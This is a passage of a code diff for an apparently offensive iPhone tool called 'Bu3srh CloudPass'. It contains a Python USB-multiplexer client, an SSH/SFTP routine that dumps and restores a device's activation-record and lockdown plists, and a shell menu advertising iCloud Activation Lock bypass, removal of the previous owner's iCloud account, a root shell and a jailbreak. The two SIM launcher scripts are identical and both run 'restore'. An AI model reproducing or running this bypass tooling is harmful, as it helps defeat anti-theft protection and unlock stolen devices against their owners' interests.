+    local_paths = ['lockdown_data_ark.plist','internal_data_ark.plist','activation_record.plist']
+    client = paramiko.SSHClient()
+    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+    try:
+        client.connect(hostname=host, username=user, password=secret, port=port)
+        sftp = client.open_sftp()
+        if arg == "dump":
+            for path in paths:
+                sftp.get(path,local_paths[paths.index(path)],)
+        elif arg == "restore":
+            for path in paths:
+                sftp.put(local_paths[paths.index(path)],path)
+        sftp.close()
+    except paramiko.ssh_exception.AuthenticationException:
+        print("Authentication failed")
+    except paramiko.ssh_exception.NoValidConnectionsError:
+        print("Failed to establish connection with the server")
+    
+    client.close()
+    print("Done!")
+
+    thread.join()

source/scripts/usbmux.py

@@ -0,0 +1,270 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+import sys
+import socket
+import struct
+import select
+import plistlib
+
+
+have_plist = True
+
+
+class MuxError(Exception):
+    pass
+
+
+class MuxVersionError(MuxError):
+    pass
+
+
+class SafeStreamSocket:
+
+    def __init__(self, address: str, family: 'AddressFamily'):
+        self.sock = socket.socket(family, socket.SOCK_STREAM)
+        self.sock.connect(address)
+
+    def send(self, msg: bytes) -> None:
+        total_sent = 0
+        while total_sent < len(msg):
+            sent = self.sock.send(msg[total_sent:])
+            if sent == 0:
+                raise MuxError("socket connection broken")
+            total_sent = total_sent + sent
+
+    def recv(self, size: int) -> bytes:
+        msg = bytes()
+        while len(msg) < size:
+            chunk = self.sock.recv(size - len(msg))
+            if chunk == b'':
+                raise MuxError("socket connection broken")
+            msg = msg + chunk
+        return msg
+
+
+class MuxDevice(object):
+
+    def __init__(self, devid: int, usbprod: int, serial: str, location: int):
+        self.devid = devid
+        self.usbprod = usbprod
+        self.serial = serial
+        self.location = location
+
+    def __str__(self):
+        return f"<MuxDevice: ID %d ProdID 0x%04x Serial '%s' Location 0x%x>" % (
+            self.devid, self.usbprod, self.serial, self.location)
+
+
+class BinaryProtocol(object):
+
+    TYPE_RESULT = 1
+    TYPE_CONNECT = 2
+    TYPE_LISTEN = 3
+    TYPE_DEVICE_ADD = 4
+    TYPE_DEVICE_REMOVE = 5
+    VERSION = 0
+
+    def __init__(self, socket: socket):
+        self.socket = socket
+        self.connected = False
+
+    def _pack(self, req, payload):
+        if req == self.TYPE_CONNECT:
+            return struct.pack("IH", payload['DeviceID'], payload['PortNumber']) + b"\x00\x00"
+        elif req == self.TYPE_LISTEN:
+            return bytes()
+        else:
+            raise ValueError(f"Invalid outgoing request type {req}")
+
+    def _unpack(self, resp, payload):
+        if resp == self.TYPE_RESULT:
+            return {'Number': struct.unpack("I", payload)[0]}
+        elif resp == self.TYPE_DEVICE_ADD:
+            dev_id, usb_pid, serial, pad, location = struct.unpack("IH256sHI", payload)
+            serial = serial.split(b"\0")[0]
+            return {'DeviceID': dev_id,
+                    'Properties': {'LocationID': location, 'SerialNumber': serial, 'ProductID': usb_pid}}
+        elif resp == self.TYPE_DEVICE_REMOVE:
+            dev_id = struct.unpack("I", payload)[0]
+            return {'DeviceID': dev_id}
+        else:
+            raise MuxError("Invalid incoming request type")
+
+    def send_packet(self, req, tag, payload=None):
+        if payload is None:
+            payload = {}
+        payload = self._pack(req, payload)
+        if self.connected:
+            raise MuxError("Mux is connected, cannot issue control packets")
+        length = 16 + len(payload)
+        data = struct.pack("IIII", length, self.VERSION, req, tag) + payload
+        self.socket.send(data)
+
+    def get_packet(self):
+        if self.connected:
+            raise MuxError("Mux is connected, cannot issue control packets")
+        d_len = self.socket.recv(4)
+        d_len = struct.unpack("I", d_len)[0]
+        body = self.socket.recv(d_len - 4)
+        version, resp, tag = struct.unpack("III", body[:0xc])
+        if version != self.VERSION:
+            raise MuxVersionError(f"Version mismatch: expected {self.VERSION}, got {version}")
+        payload = self._unpack(resp, body[0xc:])
+        return resp, tag, payload
+
+
+class PlistProtocol(BinaryProtocol):
+
+    TYPE_RESULT = "Result"
+    TYPE_CONNECT = "Connect"
+    TYPE_LISTEN = "Listen"
+    TYPE_DEVICE_ADD = "Attached"
+    TYPE_DEVICE_REMOVE = "Detached"
+    TYPE_PLIST = 8
+    VERSION = 1
+
+    def __init__(self, socket: socket):
+        if not have_plist:
+            raise Exception("You need the plistlib module")
+        BinaryProtocol.__init__(self, socket)
+
+    def _pack(self, req, payload: bytes) -> bytes:
+        return payload
+
+    def _unpack(self, resp, payload: bytes) -> bytes:
+        return payload
+
+    def send_packet(self, req, tag, payload=None) -> None:
+        if payload is None:
+            payload = {}
+        payload['ClientVersionString'] = 'usbmux.py'
+        if isinstance(req, int):
+            req = [self.TYPE_CONNECT, self.TYPE_LISTEN][req - 2]
+        payload['MessageType'] = req
+        payload['ProgName'] = 'tcprelay'
+        BinaryProtocol.send_packet(self, self.TYPE_PLIST, tag, plistlib.dumps(payload))
+
+    def get_packet(self) -> tuple:
+        resp, tag, payload = BinaryProtocol.get_packet(self)
+        if resp != self.TYPE_PLIST:
+            raise MuxError(f"Received non-plist type {resp}")
+        payload = plistlib.loads(payload)
+        return payload['MessageType'], tag, payload
+
+
+class MuxConnection(object):
+
+    def __init__(self, socketpath: str, protoclass: type):
+        self.socketpath = socketpath
+        if sys.platform in ['win32', 'cygwin']:
+            family = socket.AF_INET
+            address = ('127.0.0.1', 27015)
+        else:
+            family = socket.AF_UNIX
+            address = self.socketpath
+        self.socket = SafeStreamSocket(address, family)
+        self.proto = protoclass(self.socket)
+        self.pkttag = 1
+        self.devices = list()
+
+    def _getreply(self) -> tuple or None:
+        while True:
+            resp, tag, data = self.proto.get_packet()
+            if resp == self.proto.TYPE_RESULT:
+                return tag, data
+            else:
+                raise MuxError(f"Invalid packet type received: {resp}")
+
+    def _processpacket(self) -> None:
+        resp, tag, data = self.proto.get_packet()
+        if resp == self.proto.TYPE_DEVICE_ADD:
+            self.devices.append(
+                MuxDevice(data['DeviceID'], data['Properties']['ProductID'], data['Properties']['SerialNumber'],
+                          data['Properties']['LocationID']))
+        elif resp == self.proto.TYPE_DEVICE_REMOVE:
+            for item in self.devices:
+                if item.devid == data['DeviceID']:
+                    self.devices.remove(item)
+        elif resp == self.proto.TYPE_RESULT:
+            raise MuxError(f"Unexpected result: {resp}")
+        else:
+            raise MuxError(f"Invalid packet type received: {resp}")
+
+    def _exchange(self, req: str, payload: dict = None) -> str:
+        if payload is None:
+            payload = {}
+        mytag = self.pkttag
+        self.pkttag += 1
+        self.proto.send_packet(req, mytag, payload)
+        recvtag, data = self._getreply()
+        if recvtag != mytag:
+            raise MuxError(f"Reply tag mismatch: expected {mytag}, got {recvtag}")
+        return data['Number']
+
+    def listen(self) -> None:
+        ret = self._exchange(self.proto.TYPE_LISTEN)
+        if ret != 0:
+            raise MuxError(f"Listen failed: error {ret}")
+
+    def process(self, timeout: int or float = None) -> None:
+        if self.proto.connected:
+            raise MuxError("Socket is connected, cannot process listener events")
+        rlo, wlo, xlo = select.select([self.socket.sock], [], [self.socket.sock], timeout)
+        if xlo:
+            self.socket.sock.close()
+            raise MuxError("Exception in listener socket")
+        if rlo:
+            self._processpacket()
+
+    def connect(self, device: MuxDevice, port: int) -> socket:
+        ret = self._exchange(self.proto.TYPE_CONNECT,
+                             {'DeviceID': device.devid, 'PortNumber': ((port << 8) & 0xFF00) | (port >> 8)})
+        if ret != 0:
+            raise MuxError(f"Connect failed: error {ret}")
+        self.proto.connected = True
+        return self.socket.sock
+
+    def close(self) -> None:
+        self.socket.sock.close()
+
+
+class USBMux(object):
+
+    def __init__(self, socket_path: str = None):
+        if socket_path is None:
+            if sys.platform == 'darwin':
+                socket_path = "/var/run/usbmuxd"
+            else:
+                socket_path = "/var/run/usbmuxd"
+        self.socketpath = socket_path
+        self.listener = MuxConnection(socket_path, BinaryProtocol)
+        try:
+            self.listener.listen()
+            self.version = 0
+            self.protoclass = BinaryProtocol
+        except MuxVersionError:
+            self.listener = MuxConnection(socket_path, PlistProtocol)
+            self.listener.listen()
+            self.protoclass = PlistProtocol
+            self.version = 1
+        self.devices = self.listener.devices
+
+    def process(self, timeout=None) -> None:
+        self.listener.process(timeout)
+
+    def connect(self, device, port) -> socket:
+        connector = MuxConnection(self.socketpath, self.protoclass)
+        return connector.connect(device, port)
+
+
+if __name__ == "__main__":
+    mux = USBMux()
+    print("Waiting for devices...")
+    if not mux.devices:
+        mux.process(0.1)
+    while True:
+        print("Devices:")
+        for dev in mux.devices:
+            print(dev)
+        mux.process()

source/simfrom.sh

@@ -0,0 +1,19 @@
+echo "Bu3srh IOS SIM CARD DUMP FROM"
+echo "Checking for python3..."
+if ! [ -x "$(command -v python3)" ]; then
+  echo 'Error: python3 is not installed.' >&2
+  exit 1
+else
+  echo "python3 is installed"
+fi
+echo "Checking for pip3..."
+if ! [ -x "$(command -v pip3)" ]; then
+  echo 'Error: pip3 is not installed.' >&2
+  exit 1
+else
+  echo "pip3 is installed"
+fi
+echo "Installing required libs..."
+sudo pip3 install paramiko
+echo "Launching shell"
+python3 ./source/scripts/sim.py restore

source/simto.sh

@@ -0,0 +1,19 @@
+echo "Bu3srh IOS SIM CARD DUMP TO"
+echo "Checking for python3..."
+if ! [ -x "$(command -v python3)" ]; then
+  echo 'Error: python3 is not installed.' >&2
+  exit 1
+else
+  echo "python3 is installed"
+fi
+echo "Checking for pip3..."
+if ! [ -x "$(command -v pip3)" ]; then
+  echo 'Error: pip3 is not installed.' >&2
+  exit 1
+else
+  echo "pip3 is installed"
+fi
+echo "Installing required libs..."
+sudo pip3 install paramiko
+echo "Launching shell"
+python3 ./source/scripts/sim.py restore

start.sh

@@ -0,0 +1,102 @@
+
+function select_option {
+
+    # little helpers for terminal print control and key input
+    ESC=$( printf "\033")
+    cursor_blink_on()  { printf "$ESC[?25h"; }
+    cursor_blink_off() { printf "$ESC[?25l"; }
+    cursor_to()        { printf "$ESC[$1;${2:-1}H"; }
+    print_option()     { printf "   $1 "; }
+    print_selected()   { printf "  $ESC[7m $1 $ESC[27m"; }
+    get_cursor_row()   { IFS=';' read -sdR -p $'\E[6n' ROW COL; echo ${ROW#*[}; }
+    key_input()        { read -s -n3 key 2>/dev/null >&2
+                         if [[ $key = $ESC[A ]]; then echo up;    fi
+                         if [[ $key = $ESC[B ]]; then echo down;  fi
+                         if [[ $key = ""     ]]; then echo enter; fi; }
+
+    # initially print empty new lines (scroll down if at bottom of screen)
+    for opt; do printf "\n"; done
+
+    # determine current screen position for overwriting the options
+    local lastrow=`get_cursor_row`
+    local startrow=$(($lastrow - $#))
+
+    # ensure cursor and input echoing back on upon a ctrl+c during read -s
+    trap "cursor_blink_on; stty echo; printf '\n'; exit" 2
+    cursor_blink_off
+
+    local selected=0
+    while true; do
+        # print options by overwriting the last lines
+        local idx=0
+        for opt; do
+            cursor_to $(($startrow + $idx))
+            if [ $idx -eq $selected ]; then
+                print_selected "$opt"
+            else
+                print_option "$opt"
+            fi
+            ((idx++))
+        done
+
+        # user key control
+        case `key_input` in
+            enter) break;;
+            up)    ((selected--));
+                   if [ $selected -lt 0 ]; then selected=$(($# - 1)); fi;;
+            down)  ((selected++));
+                   if [ $selected -ge $# ]; then selected=0; fi;;
+        esac
+    done
+
+    # cursor position back to normal
+    cursor_to $lastrow
+    printf "\n"
+    cursor_blink_on
+
+    return $selected
+}
+echo " 
+ ____               __                 __         
+/\  _ \           / __ \              /\ \        
+\ \ \L\ \  __  __/\_\L\ \   ____  _ __\ \ \___    
+ \ \  _ <'/\ \/\ \/_/_\_<_ /',__\/\  __\ \  _  \  
+  \ \ \L\ \ \ \_\ \/\ \L\ /\__,  \ \ \/ \ \ \ \ \ 
+   \ \____/\ \____/\ \____\/\____/\ \_\  \ \_\ \_\
+                  Welcome to Bu3srh CloudPass v1.0"
+                  echo "We are not responsible for any damage done to your device"
+echo "WE CANT GUARANTEE UNLOCK, ON SOME DEVICES IT WILL WORK ON SOME NOT!!!!!"
+echo "Features: Bypass Activation lock, Remove old icloud account, root shell to Idevice, Jailbreak the device"
+echo "Select one option using up/down keys and enter to confirm:"
+echo
+
+options=( "Icloud bypass IOS 12.3-13.2.3! NO SIM CARD (AUTOMATIC ONE)" "newPHP ICLOUD BYPASS WITH SIM  " "Removes old icloud account conected to the device  (JAILBREAK REQUIRED)" "Jailbreak the device" "Exit")
+
+select_option "${options[@]}"
+choice=$?
+
+echo "Choosen = $choice"
+
+echo "Launching selected option..."
+if [ $choice = "0" ]; then
+   clear
+   chmod +x ./source/ibypass.sh
+   ./source/ibypass.sh
+elif [ $choice = "1" ]; then
+    clear
+    chmod +x ./source/php.sh
+    ./source/php.sh
+elif [ $choice = "2" ]; then
+    clear
+    chmod +x ./source/rm_oldicloud.sh
+    ./source/rm_oldicloud.sh
+elif [ $choice = "3" ]; then
+    clear
+    chmod +x ./source/jailbreak.sh
+    ./source/jailbreak.sh
+else
+    echo "Exiting..."
+    clear
+    echo "Bye!"
+    exit
+fi